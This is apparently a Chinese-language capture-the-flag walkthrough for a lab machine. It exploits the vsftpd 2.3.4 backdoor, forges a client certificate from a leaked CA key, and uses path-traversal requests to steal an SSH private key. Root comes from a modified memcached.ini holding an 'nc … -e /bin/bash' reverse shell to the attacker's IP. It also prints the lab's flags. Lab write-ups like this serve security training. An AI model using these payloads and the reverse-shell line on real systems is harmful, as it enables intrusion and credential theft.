vsftpd 2.3.4 存在笑脸漏洞
nc连接靶机的21端口,输入user带有:),pass随便输入,注意:这里需要手动输入,此时靶机的6200端口开启,完成后请勿关闭此终端,保持下图的这个状态,不然6200端口也会随之关闭
6200端口开启
nc连接6200端口
发现tokyo文件
查看文件
show $tokyo
class Tokyo {
private function sign($caCert,$userCsr) {
$caKey = file_get_contents('/home/nairobi/ca.key');
$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
openssl_x509_export($userCert, $userCertOut);
return $userCertOut;
}
}
发现证书位置 file_get_contents('/home/nairobi/ca.key');
获取的是私钥
复制下来,删除所有的空格以及\n
访问 https://10.129.218.112
提示需要证书,利用上方获得的私钥
根据私钥生成证书
(参考:https://blog.csdn.net/ljskr/article/details/84570254;https://blog.csdn.net/woaiclh13/article/details/113618984)
1)生成证书请求文件(CSR)
openssl req -new -key ca.key -out server.csr
(
req 产生证书签发申请命令
-key 输入的 key文件
-out 输出文件
)
2)自签署证书(正常的证书是你把上面生成的请求文件(.CSR)发送给可信机构(CA),让可信机构根据你的请求去生成和签署证书,再给你发回来。这里是自己给自己签署。)
# 输入 csr 请求文件,指定签署的 key,输出证书 crt 文件。
openssl x509 -req -days 365 -in server.csr -signkey ca.key -out server.crt
(
x509 签发X.509格式证书命令
-req 证书输入请求
-days 证书有效天数
-in 输入文件,这里是上一步生成的请求文件(.CSR)
-signkey 签名密钥(key)文件
-out 输出文件
)
3)生成 .p12 文件(注:.p12是PKCS#12文件的文件扩展名,也称为“PFX文件”的备用扩展,它是保存私钥和证书的组合格式。)
openssl pkcs12 -export -in server.crt -inkey ca.key -out server.p12
(
-in 输入文件
-inkey 私钥,否则从输入文件中的-读取
-out 输出文件
)
生成了证书后,打开浏览器,在设置,隐私与安全,证书,查看证书下面,您的证书下面,选择导入刚才的证书。
刷新https://10.129.218.112页面
任意点击一个
点击会下载文件
点击下载并抓包
使用 https://gchq.github.io/CyberChef/ magic 解密 U0VBU09OLTEvMDIuYXZp
发现是经过base64编码的路径
测试本地文件读取
路径为 /home/berlin/downloads/
跨越目录
../../../../etc/passwd
尝试 https://lacasadepel.htb/?path=../../../../etc/passwd
https://lacasadepel.htb/?path=../../../../home
发现用户
berlin,dali,nairobi.oslo.professor
https://lacasadepel.htb/?path=../../../../home/berlin
发现 .ssh user.txt文件
https://lacasadepel.htb/?path=../../../../home/berlin/.ssh
下载id_rsa文件
../../../../home/berlin/.ssh/id_rsa
https://lacasadepel.htb/file/Li4vLi4vLi4vLi4vaG9tZS9iZXJsaW4vLnNzaC9pZF9yc2E=
尝试ssh登录
ssh -i id_rsa berlin@10.129.218.112
下载user.txt
../../../../home/berlin/user.txt
https://lacasadepel.htb/file/Li4vLi4vLi4vLi4vaG9tZS9iZXJsaW4vdXNlci50eHQ=
获取用户flag
0d10ef8c50f0fbaeda6088f7631b0449
查看dali用户
https://lacasadepel.htb/?path=../../../../home/dali
https://lacasadepel.htb/?path=../../../../home/dali/.ssh
查看nairobi用户
https://lacasadepel.htb/?path=../../../../home/nairobi
查看oslo用户
https://lacasadepel.htb/?path=../../../../home/oslo
查看professor用户
https://lacasadepel.htb/?path=../../../../home/professor
https://lacasadepel.htb/?path=../../../../home/professor/.ssh
尝试 berlin,dali,nairobi.oslo.professor 五个用户使用 https://lacasadepel.htb/?path=../../../../home/berlin/.ssh 下载的 id_rsa密钥 进行登录
ssh -i id_rsa dali@10.129.218.112
ssh -i id_rsa nairobi@10.129.218.112
ssh -i id_rsa oslo@10.129.218.112
ssh -i id_rsa professor@10.129.218.112
查看文件
对 memcached.ini 和 memcached.js 只有读权限
查看 memcached.ini文件
memcached.ini正在使用sudo执行以下命令:/usr/bin/node/home/professional/memcached.js作为nobody。最有可能的是,它将以root身份运行,我运行pspy并看到命令会定期执行: (pspy64下载链接:https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64)
上传pspy64
本地创建新的 memcached.ini 文件(内含反弹shell马) ,靶机删除原文件并下载构造好的文件
[program:memcached]
command = /usr/bin/nc 10.10.16.3 6655 -e /bin/bash
成功获取到root shell
获取root flag
c7197a870007517d1fb7f1887dabbfba